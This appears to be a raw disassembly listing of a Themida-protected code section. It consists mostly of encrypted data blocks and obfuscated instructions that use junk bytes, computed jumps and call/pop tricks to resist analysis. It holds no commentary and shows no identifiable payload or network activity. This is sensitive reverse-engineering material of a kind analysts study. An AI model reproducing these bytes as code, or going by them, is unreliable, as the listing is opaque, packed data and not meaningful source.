		dd 387A3A7h, 0DFAB2F58h, 3B150646h, 6EA36C3Fh, 11FACFE1h
		dd 0AC79A209h, 0F168C6DFh, 977B726Dh, 6F3F0853h, 2864FE1h
		dd 0DFAB3059h, 3A160546h, 22E5ABEEh, 0AA60D338h, 406932B6h
		dd 1546DFABh, 0B90C2A66h, 98000000h, 86A4A2A6h,	0FC9285D5h
		dd 0E495E83Ch, 61D40FBDh, 0D3665F9h, 0E03BFC93h, 5595483Bh
		dd 54F8830h, 0FC8F0D5h,	0F52665Bh, 0B09BBF78h, 0B2F97DFDh
		dd 3BFC9389h, 0C87CAF5Ch, 44C93DC4h, 0F7A45480h, 3BFC7D35h
		dd 9777FB52h, 0FC702AE5h, 7D0A3378h, 0A6D23BFCh, 0C1EED6Dh
		dd 2F2B351Fh, 5CFE394Fh, 6D3E3CEFh, 32127230h, 74B5D8BDh
		dd 0A71C6801h, 9438B28h, 8DE06A11h, 8F0604FFh, 463B2CB6h
		dd 519BF536h, 0DB932F99h, 0A4A6ED1Eh, 601449F1h, 0BB336027h
		dd 9C4F311Ch, 86D20DBFh, 0E67AFE72h, 0D6A58CB5h, 67BA6146h
		dd 46D6A53Eh, 0F7286417h, 3CEC99BAh, 2A7228D3h,	86A4A2A6h
		dd 0F59F98D5h, 406F53Ch, 6A201BA1h, 0A0AA6517h,	0B6C63FBh
		dd 9AFF032Dh, 67FE31EAh, 0A6C7AAB2h, 1BC77E5Ah,	5406C18Bh
		dd 0B4E74B71h, 29DE2F8Bh, 44C6B962h, 7F9B5C61h,	0A9B16A1Ah
		dd 0CF4B8434h, 0F7812DE2h, 0B3D9BCBEh, 7DE11C78h, 6B21FADh
		dd 0BFE4DCDh, 0D4E69B5Fh, 0A8D03913h, 335EB6Fh,	61000000h
		dd 249E0C8h, 5C6C41C9h,	750267E3h, 943B9EBCh, 0A2D2B753h
		dd 0F88CE169h, 15A61B3Fh, 2F5336D4h, 7F0F62E8h,	68B99A80h
		dd 3FD9h, 81241489h, 4ECh, 24348900h, 81E68956h, 4C6h
		dd 4EE8300h, 5C243487h,	83242C89h, 0C8904ECh, 0D93B924h
		dd 0CE890AEAh, 2C8B5459h, 4C48124h, 68000000h, 4E9Dh, 81243489h
		dd 6CE9242Ch, 458F2715h, 8458108h, 27156CE9h, 51242C8Bh
		dd 0C181E189h, 4, 8704C183h, 0FF5C240Ch, 815E2434h, 4C4h
		dd 6C77E900h, 9C69FFF9h, 52ADA741h
		db 8Eh,	0Dh
; ---------------------------------------------------------------------------


loc_5F383A:				; CODE XREF: Themida_:loc_5F3280j
		mov	eax, 0AEA12C9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		jmp	short loc_5F384B
; ---------------------------------------------------------------------------
		db 0F6h, 22h, 6Dh
		db 77h,	2, 0
; ---------------------------------------------------------------------------


loc_5F384B:				; CODE XREF: Themida_:005F3843j
		cmc
		xchg	eax, ebp
		movsd
		dec	esp
		jmp	loc_5F387D
; ---------------------------------------------------------------------------
		dd 42DDCC49h, 9	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F387D:				; CODE XREF: Themida_:005F384Fj
		jmp	loc_5F43EF
; ---------------------------------------------------------------------------
		push	0AEA1570h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AEA1644h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AEA183Eh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AEA1920h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AEA1ADEh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AEA1C40h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AEA1D45h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		dd 0CC43EFAFh, 0DE51DD9Fh, 0D42BEB8Dh, 2726C687h, 3037BB72h
		dd 10CFECDCh, 1BBCED60h, 14B7E47Bh, 8A0F174h, 0E98ECD40h
		dd 6422FC73h, 0FB583B36h, 2F39E179h, 8D2ADE7Ah,	3FB1B4C9h
		dd 1DC96E3Eh, 0D4CD87Ch, 0F83D7CC8h, 122DD903h,	0BDE04BADh
		dd 9C514AB3h, 5728725h,	0E82DD5AAh, 760A5D1Ch, 4C317A05h
		dd 680314F1h, 0C215A4A0h, 6CCB6386h, 9F431675h,	7Ah, 0B3A5A6B2h
		dd 0E06C266h, 3562E94Bh, 3028414Eh, 414E363Bh, 0B8FD397Ch
		dd 361219C3h, 1045414Eh, 4C593EDFh, 0ACBEDFAAh,	2412F1D8h
		dd 22A0BCE3h, 634BAD2Eh, 1F32140Bh, 32194EC5h, 2654894Ch
		dd 256697D3h, 95C6492Bh, 57F04C31h, 56F0B1BFh, 55F7B6BEh
		dd 0DD3A2D36h, 0E26A12C8h, 2BEF8ADFh, 0F499CDDh, 6DEB50DCh
		dd 0D7B44316h, 318A060Dh, 0B9EC314Ch, 0E28Eh, 0E1794500h
		dd 0C37A2F39h, 904D5E3Fh, 0B85160ECh, 4E35ABA0h, 6689EC41h
		dd 5DFA2FCEh, 3550C71Dh, 5287414Eh, 11421711h, 150DC78h
		dd 2DED8DDEh, 2EEA8E23h, 31F4B52Fh, 22C6414Eh, 0D9948166h
		dd 32670629h, 8529E296h, 0BF7EAB40h, 44C08823h,	0AAFF035h
		dd 830D1B4Ah, 372DCACAh, 4BAD20CFh, 0D05CD306h,	2C23391Bh
		dd 6B4C3169h, 0CC14F536h, 568F1E86h, 0AC0DEA4Fh, 1746BFB4h
		dd 0DB01F857h, 57174654h, 0CA1D5E83h, 9D25D8CDh, 7DBD8EFCh
		dd 0F19C158h, 7C873C4Ah, 1B48EF3Eh, 9762DC64h, 5D6B66C9h
		dd 8CE2197h, 55090000h,	43F9AAADh, 51F7A4BBh, 2CE1B2B5h
		dd 21DC8D80h, 16729E91h, 77F67A35h, 4EC18522h, 5BDA7E1Dh
		dd 57D67216h, 66ED7710h, 91366420h, 0C67911F2h,	0D2763B3Ah
		dd 0A6DA3736h, 0EA7617A5h, 4BAD2EDCh, 9D78F429h, 0FA2DD588h
		dd 314EF566h, 4467E14Ch, 162A73E8h, 5EFB2C43h, 0C4EBAEA6h
		dd 0AA91h, 987E4C00h, 4B533A3Eh, 53C271F3h, 0F33462FFh
		dd 0E179E7ACh, 35D0479Dh, 0D207414Eh, 36282F35h, 0A6F414Eh
		dd 732A7FC9h, 9EEF41CFh, 6C414E31h, 797D1CCCh, 4E396CE3h
		dd 3576AB41h, 8C2C7DF0h, 0FDFE40CCh, 9C02DEBFh,	0D94BAD1Fh
		dd 4E0F8184h, 6CB3A94Eh, 0AB568F1Eh, 0C9849176h, 95574039h
		dd 0F2A7C6E9h, 0A88BB73Bh, 7E6B6659h, 7FA40F6h,	813D0000h
		dd 6F2D7EF1h, 7D1B48CFh, 581546D9h, 4D0051D4h, 7A4EA2A5h
		dd 1B1AA659h, 1215B156h, 6FEEAA41h, 7BFA9E3Ah, 92994324h
		dd 0C536641Fh, 0C679652Eh, 0D2763B3Ah, 0CDDA3736h, 357FF46Ch
		dd 19B1414Eh, 78A2F771h, 9A1F225h, 101CB851h, 0D5000C41h
		dd 33620AC0h, 8F8E4AEEh, 0CF0C186Eh, 0D55C2686h, 0AFEDEE82h
		dd 43F412CEh, 0AF0C4BACh, 3064BEB5h, 71A4F94Ch,	2978F429h
		dd 2210C991h, 0F581DB01h, 0D44B9AC8h, 2927E387h, 0EA4FE3B7h
		dd 0E20923D0h, 9B33E83Dh, 9075800h, 0C61BA358h,	0E2A64297h
		dd 0FE9A3E63h, 0F5268776h, 0A8AFB555h, 0EFD37693h, 55D95B8Ah
		dd 81D37693h, 332A22CEh, 76942229h, 0DF0055D3h,	0EC97911Dh
		dd 2B462148h, 5C3DE209h, 76938F84h, 4295C8D3h, 0BEB159F1h
		dd 838D4DEDh, 0DA279121h, 1EA25D50h, 149C5316h,	0D2F94318h
		dd 0BFEA6E89h, 0F17414B4h, 0AE660314h, 0A6ADB7A6h, 0D1D37693h
		dd 0D7244B8Ch, 17999733h, 0C0A14656h, 9372F963h, 70A5D376h
		dd 8587132Dh, 1AFBDDD5h, 59A649CEh, 558F8EDEh, 0DE59A6DEh
		dd 5C83C419h, 0D05CD306h, 64FC9D1Bh, 0E8B884CAh, 5CD65E83h
		dd 0E93CC9DAh, 8DFFCFC8h, 24B30FBDh, 18331558h,	4E8D9BEBh
		dd 75CEC607h, 0A51222h,	0C4A8EE1Bh, 6B000003h, 19D26863h
		dd 81DE29Bh, 1A5FA971h,	2A3549CBh, 0A5E84BADh, 7C1F4004h
		dd 0CC0150DCh, 10DCE20h, 6764CB24h, 34E9A139h, 0B8FDBC88h
		dd 3B218667h, 0CD402634h, 0D20CB06Ah, 0A5BF588Fh, 0D79F08C1h
		dd 46FD8CFCh, 4F53D8BDh, 7ADB020Ah, 23F469EEh, 244BAED8h
		dd 0A4455308h, 871BD2C7h, 972A22E2h, 5087DA52h,	7E59B8CCh
		dd 5F3C61E2h, 0E94EAE4Ah, 0AA1FC73h, 7AE63BE3h,	0E30AA1F5h
		dd 0BBBAFF22h, 0E9B14942h, 35D575C6h, 133E2009h, 0B46AC2DFh
		dd 600h, 64FB8747h, 76C97537h, 4CC38325h, 5FDE5E1Fh, 0A8AF530Ah
		dd 0A8674444h, 0B3540518h, 0AC4F1C13h, 0A03869ECh, 412665F8h
		dd 641D949Bh, 6320C336h, 7617A5A6h, 6C20A191h, 65962EA2h
		dd 0B1002E32h, 90C54BACh, 41EDAEFBh, 0C563B2C7h, 0C84404A4h
		dd 578CBF9Dh, 0D1E56AF6h, 0CF124C30h, 1558FC9Ah, 0B552621Bh
		dd 8FC97FAFh, 1C134656h, 61EFAB4Fh, 9C44A840h, 5713E997h
		dd 0CC589DC0h, 115A71A3h, 0CE5ED179h, 5C308191h, 2A29Ch
		dd 0EDABB00h, 5713DE09h, 0CFC4EB4Eh, 7617A5A6h,	0A42443EAh
		dd 1E98F04Bh, 1A99B4F5h, 0E922DB1Ch, 0A1668951h, 6619B974h
		dd 0D58699DAh, 81F1961Ah, 0E32E4474h, 65055688h, 78FA72A5h
		dd 0C99C3258h, 0CDF58820h, 0EE0CFFACh, 13DC66BBh, 8574455Eh
		dd 51E892Fh, 0A5590000h, 93491A1Dh, 0A14714EBh,	7C3162E5h
		dd 712C7DF0h, 0A6A24EC1h, 2726CA85h, 3E31D572h,	0B0ACE6Dh
		dd 706C266h, 0B6BDA740h, 0E136641Ch, 0A5A64102h, 0AEA64607h
		dd 0E1FDE3EBh, 7CF15FE7h, 0B249423Bh, 145B1E16h, 0C3799273h
		dd 10C82D3Bh, 414DD81Bh, 91C4195Ch, 0A3C6668Fh,	7CC82D4Bh
		dd 2AEA8C99h, 0EAA0974Dh, 82D74C37h, 0BE6A0E53h, 0A5F470FCh
		dd 4B803955h, 75880B3h,	13B75300h, 4B45415h, 17AAA262h
		dd 435435D2h, 5564E0A8h, 37A848CFh, 0FB2A8F4Ch,	0FD9D3C6Dh
		dd 0F07C3E73h, 0C440F0AFh, 0E57EADAFh, 343F6A8Eh, 0E371F494h
		dd 431C4074h, 19677h, 0E1799A00h, 79E34039h, 414E35F2h
		dd 87ADF025h, 0E58246E2h, 2275FDB0h, 0CCCC8103h, 1319352Fh
		dd 25D44BADh, 315C383Fh, 0F93A7F4Ch, 0FE9D8E6Fh, 588FD25Ah
		dd 315B53C4h, 0E605474Ch, 6BCBC939h, 0FD8B8058h, 69CC4C31h
		dd 0FF74D861h, 3B4DC21Eh, 578A4C31h, 33CB7000h,	83944316h
		dd 922721E5h, 3B1843h, 0A63B0000h, 917617A5h, 2824E484h
		dd 0E63BC379h, 2F1DADB7h, 35684BADh, 4EB6B93Bh,	2AE04C31h
		dd 28E78A82h, 7BD98C98h, 0A4203750h, 2AB22985h,	0BAEF4316h
		dd 3F2A7D01h, 0A1h, 39E179D2h, 1FDDCE2Fh, 8EC06F9Fh, 0DC0639C2h
		dd 0FD853889h, 0FE9A3E73h, 0F3973376h, 0CF8E9B7Ch, 41942523h
		dd 4E2A6E3Fh, 0FC9C3C41h, 0AE502F1Fh, 0BC6A79D2h, 8546CA69h
		dd 0E2652002h, 3BF114AAh, 0A3E4B5B3h, 0E53896Eh, 4D4BABD2h
		dd 672673E8h, 4FE922DBh, 0B5F8B9B7h, 862AE5B6h,	4AEA39BCh
		dd 8735B374h, 360h, 0C45BE7A7h,	0D629D597h, 2C23E385h
		dd 3F3EBE7Fh, 80FB36Ah,	8C7E4E4h, 13B4E578h, 0CAFFC73h
		dd 98C94Ch, 0E186C558h,	641BF47Bh, 83402336h, 3B3AC679h
		dd 3736D276h, 39E179DAh, 3ADE7A2Fh, 40B4A93Bh, 4E359398h
		dd 5C91C441h, 1ACE6ABFh, 0A4FD97Dh, 4404A4C9h, 0A16689C8h
		dd 9733D7C0h, 8B95D899h, 4BAD26EFh, 73ED7BBEh, 4C3147FEh
		dd 77C3E60Ah, 9B412676h, 569038FFh, 0C7832673h,	89530849h
		dd 57145982h, 0E53D60B5h, 7954BDB0h, 7A2F39E1h,	0CD429EDEh
		dd 0A414E35h, 119392D7h, 0A5BF5C5Ch, 4BAD1289h,	9D171144h
		dd 4C315A9Ah, 609FCA0Eh, 5AD25983h, 0D0054C31h,	1240FF8Dh
		dd 354B4316h, 86000000h, 7617A5A6h, 0D23A191h, 7D27DAA1h
		dd 4698162Ah, 88ED4BACh, 673122BCh, 0C1674C30h,	0C0660B05h
		dd 0E9530804h, 12B6B9C2h, 200BFF7h, 0A70B4317h
		dd 0C6000000h, 2F39E179h, 313FC37Ah, 3430D870h,	4B91D575h
		dd 414E35C4h, 0EA6DAEF3h, 0BFB4AC0Dh, 0F8414E35h, 9FEE72A5h
		dd 6D414E31h, 0ED0A0DCDh, 0F27A02B8h, 8F2B78AFh, 0FAF37DCBh
		dd 1B07DDBAh, 524BAD1Dh, 0C784080Fh, 66B310C9h,	4CD007C3h
		dd 568F1ADFh, 314F528h,	0F0A1A44Ch, 0C289B53Dh,	246B6645h
		dd 1FE2E8Ch, 85390000h,	73297AFDh, 812774CBh, 5C1142C5h
		dd 510C5DD0h, 4642AEA1h, 706AA65h, 1E11B552h, 6BEAAE4Dh
		dd 67E6A246h, 969D4720h, 0C1366419h, 0C6796122h, 0D2763B3Ah
		dd 0EBFD3903h, 0EF20D09Bh, 0A5A68368h, 0DCEA7617h, 294BAD2Eh
		dd 75E678F4h, 0A34C314Eh, 0A6CB45E9h, 0F378E000h, 244C314Eh
		dd 0C1B0BCF1h, 0F067002Bh, 0A5AAB617h, 6F4C314Eh, 314E7EF5h
		dd 3A64B94Ch, 7594B0E7h, 162A8239h, 2ECADF43h, 0BF103B6Ah
		dd 0C3000000h, 2F39E179h, 313FC37Ah, 4E31EEBFh,	7C1CBC41h
		dd 0A5BF1CF9h, 414E3AAEh, 1061B4E9h, 0A154D078h, 3B1318C0h
		dd 2444414Eh, 1BFA3548h, 1A4D8EE1h, 0A6475516h,	0ADA9C0BAh
		dd 55A80D4Bh, 48A722DBh, 2761FA4Eh, 0AEBA5394h,	568F04E0h
		dd 3A9B70A5h, 172A292Eh, 0E40B6E57h, 2F37F623h,	172A3E35h
		dd 0E3247957h, 0C5803F6Ch, 1CD698D4h, 0FC469B9Ah, 6B67D255h
		dd 0F98B2987h, 3C000000h, 2C7DF080h, 1A4FCE6Eh,	1445D87Ch
		dd 350D757h, 4FA1A44Ch,	1DA5587Bh, 14B0491Ah, 0E1A94011h
		dd 0FD9D3D6Eh, 86423B7Ah, 36641891h, 79642DC6h,	0C88C2AC6h
		dd 65F83D7Ch, 17F49434h, 70A74B02h, 0E17918F1h,	8D724039h
		dd 379B358Ah, 0BAA3C91Ch, 5CCD6E44h, 3A6D1E3Ah,	0D08951E9h
		dd 60867EE2h, 0B8536C4Ch, 0E988DF10h, 0B1566667h, 6606C7D0h
		dd 0C249ABEEh, 0F5414D92h, 40987DA0h, 4BA381ADh, 6C3D0B6Eh
		dd 7B5F1CCCh, 37A56AE1h, 3748AD4Ch, 0D02515F2h,	63AA52DCh
		dd 7BBC58F1h, 0C4643534h, 0BA960804h, 361463B3h, 0DC7CF712h
		dd 0D068393Ch, 0B06D3C08h, 0D7BBB0A8h, 1DFC946Fh, 6FD750C7h
		dd 11528794h, 371550DCh, 1BBF5B14h, 7C4F0C62h, 1F6C98D3h
		dd 60F8A9C8h, 190EACB8h, 23000000h, 0C8DDA29Bh,	0DC9D6B13h
		dd 4E35CF44h, 0A5D50841h, 0E0047686h, 4B40971Eh, 333DC579h
		dd 363EDA7Eh, 3430D873h, 3430D475h, 3E36BA75h, 0CB46Bh
		dd 400AC61h, 503C365h, 0E06A664h, 4EC83C2h, 52242489h
		dd 4BAh, 24540100h, 3685A04h, 89000040h, 8951242Ch, 4C181E1h
		dd 83000000h, 0C8704E9h, 0C895C24h, 4F74BD24h, 0C5811BCBh
		dd 25E71DDCh, 701BED81h, 0EDC177A6h, 0B85002h, 29000000h
		dd 815895E8h, 971365F5h, 2A2368C7h, 24890000h, 24048324h
		dd 51525904h, 0CA89E989h, 8518959h, 240C8B5Ah, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 8956242Ch, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 372AE95Ch
; ---------------------------------------------------------------------------
		cli
		dec	dword ptr [esi]


loc_5F43EF:				; CODE XREF: Themida_:loc_5F387Dj
		mov	eax, 0AEA1E63h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 102E5BCEh, 313A7497h, 5CEB48D6h, 4AB28E75h, 2DF2ED95h
		dd 5F9376AEh, 5CC4199Ah, 6BF02C5h, 78144820h, 691D44Dh
		dd 39A2C0C0h, 352B3A43h, 4E4A2200h, 2907566Fh, 23066F49h
		dd 1CDB7703h, 56742042h, 5C8C57Ah, 1F2BBADDh, 4C6C979h
		dd 76D8F8FCh, 20AD41ECh, 559E96EBh, 6E8h, 5E616900h, 8159CFCDh
		dd 0F3224FE1h, 0C3815B49h, 65B4h, 33AFE480h, 35BE66FFh
		dd 1F34FFF6h, 815ACF8Bh, 0A1EA36E6h, 56EA8157h,	6017604Eh
		dd 7E85B52h, 0E2000000h, 5937CAF5h, 61604521h, 0C2816159h
		dd 4EA0AFD4h, 11E9h, 0F9498500h, 5C836471h, 0DDDA6918h
		dd 0CBF7D619h, 0EA81FC2Dh, 2FAEC7F2h, 8924E080h, 0B70F3B14h
		dd 9AEF81C3h, 8A346C8Fh, 96C781E6h, 0F8346C8Fh,	9ADCFF81h
		dd 850FFFFFh, 0FFFFFF95h, 8E9h,	48BC6600h, 1E48201Ah, 8E8D8DFFh
		dd 890AEA20h, 0E314798Dh, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 88FB2F51h
		dd 89EA810Bh, 94764A7h,	0E3137995h, 0C985C70Ah,	0F00AE306h
		dd 6600006Ah, 85C7FA8Bh, 0AE30069h, 0
; ---------------------------------------------------------------------------
		push	edi
		pusha
		mov	esi, [ebp+0AE31F95h]
		mov	si, 0F267h
		popa
		pop	esi
		push	dword ptr [ebp+0AE321A1h]
		mov	eax, [ebp+0AE32F5Dh]
		call	dword ptr [ebp+0AE326B5h]
		push	0
		push	edx
		call	sub_5F4567
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F4567	proc near		; CODE XREF: Themida_:005F455Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5F4567	endp

; ---------------------------------------------------------------------------
		db 6Bh
; ---------------------------------------------------------------------------
		xchg	ch, [edx+0]
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_5F45A4
; ---------------------------------------------------------------------------
		db 5Dh,	2Dh, 8Eh
		dd 856EBF56h, 0A10BF953h, 2B14E851h, 30176FEEh,	0D69FE965h
		dd 1586192Dh, 0C9806460h
; ---------------------------------------------------------------------------


loc_5F45A4:				; CODE XREF: Themida_:005F4583j
		call	sub_5F45B4
		xchg	eax, esi
		fisubr	word ptr [edx-1842BBC1h]
		db	3Eh
		psubd	mm2, mm7

; =============== S U B	R O U T	I N E =======================================



sub_5F45B4	proc near		; CODE XREF: Themida_:loc_5F45A4p
		mov	si, dx
		pop	edi
		pusha
		mov	cx, 0FB32h
		mov	eax, [ebp+0AE31F99h]
		popa
		add	edi, 6BBDh
		mov	ch, 0A2h
		mov	eax, 0
		mov	si, ax


loc_5F45D4:				; CODE XREF: sub_5F45E7+7Ej
		push	dword ptr [eax+edi]
		call	sub_5F45E7
		call	far ptr	0B1EBh:0D02FE09Dh
		das
		pop	ebx
		into
		dec	esp
sub_5F45B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F45E7	proc near		; CODE XREF: sub_5F45B4+23p

var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 0058A4A9 SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0058A581 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058A6A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058AEA8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058AF5E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B389 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058B3B6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B67C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B77F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B9AB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C0BA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C3FC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058C5B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C775 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D29F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D812 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058DA16 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DC04 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E0CA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058E93D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EBA9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F02A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F0B6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FB12 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FBFF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FC27 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058FC45 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FE60 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590560 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00590957 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590BC5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00590E29 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005916D1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591862 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591AE5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591BB7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591E57 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00591ECB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005921C5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00592286 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00592663 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005929BF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00592C65 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059302F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059332F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00593402 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005934B3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00593D49 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00594309 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005946F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059472B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005947FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595155 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005952C3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005953AF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595548 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059575C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595EC6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00595F8F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059647F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596518 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005966B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596AE9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596C58 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00597383 SIZE 0000000F BYTES

		mov	ecx, 4BDC8273h
		pop	edx
		pop	ebx
		mov	edx, [ebp+0AE3338Dh]
		sub	ebx, 76AD83BCh
		jo	loc_5F4602
		mov	edx, esi


loc_5F4602:				; CODE XREF: sub_5F45E7+13j
		sub	ebx, 62A56984h
		mov	cx, si
		xor	ebx, 2C363673h
		mov	[ebp+0AE303E5h], ebx
		push	ebx
		add	dx, 0FC89h
		pop	dword ptr [edi+eax]
		mov	ecx, [ebp+0AE32509h]
		movzx	ecx, cx
		sub	eax, 23C6D07Ch
		mov	cx, di
		add	eax, 23C6D078h
		xor	dl, 5Ah
		cmp	eax, 0FFFF9510h
		jnz	loc_5F4662
		jle	$+6
		jmp	loc_5F467A
; ---------------------------------------------------------------------------
		dw 0B507h
		dd 673F83F5h, 34125BE3h, 7F681BD8h
		db 2Bh,	6Bh
; ---------------------------------------------------------------------------


loc_5F4662:				; CODE XREF: sub_5F45E7+5Aj
		mov	dx, si
		jmp	loc_5F45D4
; ---------------------------------------------------------------------------
		dw 51D4h
		dd 90CE5725h, 4CA7EA29h, 0D267C826h
		db 0FEh, 7Ah
; ---------------------------------------------------------------------------


loc_5F467A:				; CODE XREF: sub_5F45E7+66j
		jmp	loc_5F468D
; ---------------------------------------------------------------------------
		db 5Eh
		dd offset dword_444A18+8
		dd 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F468D:				; CODE XREF: sub_5F45E7:loc_5F467Aj
		jmp	loc_5F4B08
; ---------------------------------------------------------------------------
		push	0AEA22B9h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEA2336h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AEA244Fh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dd 5F0BC4F7h, 27934C7Ah, 0A317D0E2h, 2E9C5D6Eh,	0A862A5EBh
		dd 6F118B7Fh, 0F49BFEACh, 75024733h, 0C18BCEBCh, 3BBF5406h
		dd 0F58A4770h, 2B631E3Bh, 66C40749h, 0AB90B9E2h, 0B66546DFh
		dd 0AABEE7B4h, 0E49746DFh, 9F2D80A8h, 7C7CF6A4h, 0FFFBA08Ah
		dd 9E3CFCA8h, 7F00517Bh, 0F8AB90BAh, 1436E952h,	0FCA95A87h
		dd 0C36F903Bh, 95D258E5h, 2D3504Dh, 14E80000h, 0FC9D1E47h
		dd 0C804F73Bh, 91579CD4h, 0C50FC8FCh, 61C93F3Bh, 0FC8F7E3Ah
		dd 1E4DC13Ch, 3BFC8EF5h, 0B1E923C8h, 0F13566CAh, 424697E8h
		dd 26BA8086h, 30D0F9A2h, 0F6A54F59h, 2327E095h,	43ABFCD8h
		dd 1A457642h, 5F1BE971h, 60A4CD9Eh, 9279497Ah, 58C20549h
		dd 713A00F3h, 3F9766ADh, 0F61F4CE0h, 0CF4F5939h, 0DCAFFDCh
		dd 791C905Ah, 0CB39853h, 90FC4FCBh, 62D813B9h, 66A29D2Fh
		dd 162AC0Bh, 0B5781E32h, 0F0000002h, 675A10C9h,	0EF229857h
		dd 6BAE1CDBh, 0D429E126h, 74B367A0h, 0B16A1A86h, 38F184F9h
		dd 817E0F42h, 0BC4F4C9h, 7526B45Fh, 3BF5894Ch, 0A6367421h
		dd 4B8432A2h, 8DDE5298h, 46DFAB64h, 7AB7C439h, 0DE8D4D87h
		dd 3CF5CC42h, 0A9CC6E1Dh, 630624E7h, 98C1EA5Ah,	6D3BF58Ah
		dd 3981CBBEh, 5B00B0C4h, 3BF58A32h, 0ADAD600Bh,	0F74D3CFEh
		dd 9D566244h, 0F218C6A3h, 27D97DFEh, 238h, 27934C7Fh, 0AF1BD4E2h
		dd 2B9F586Ah, 0B664A5D6h, 30EA2D53h, 0F79903F7h, 7C034634h
		dd 0FD8ACFBBh, 49735604h, 0A337DC8Eh, 0F587CFF8h, 0B3FBA63Bh
		dd 86A4A2A6h, 0F5CC39D5h, 0CDF1143Ch, 483B000Ah, 89ACD9C2h
		dd 3D223BF5h, 0F5EE97B1h, 7AE24D9Ch, 92000001h,	42C80349h
		dd 28E25D6Fh, 62C83E3Ah, 5BE06419h, 4F1C9438h, 46DEFE26h
		dd 7F590CFFh, 1B5CB0FBh, 48333CFCh, 22ACD9C2h, 0BB03BFCh
